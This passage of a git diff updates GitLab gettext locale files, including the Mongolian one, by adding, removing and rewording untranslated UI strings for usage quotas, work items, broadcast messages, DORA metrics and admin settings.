msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/mn_MN/gitlab.po b/locale/mn_MN/gitlab.po
index 79b5e9f5a15..ea71835ccb6 100644
--- a/locale/mn_MN/gitlab.po
+++ b/locale/mn_MN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: mn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
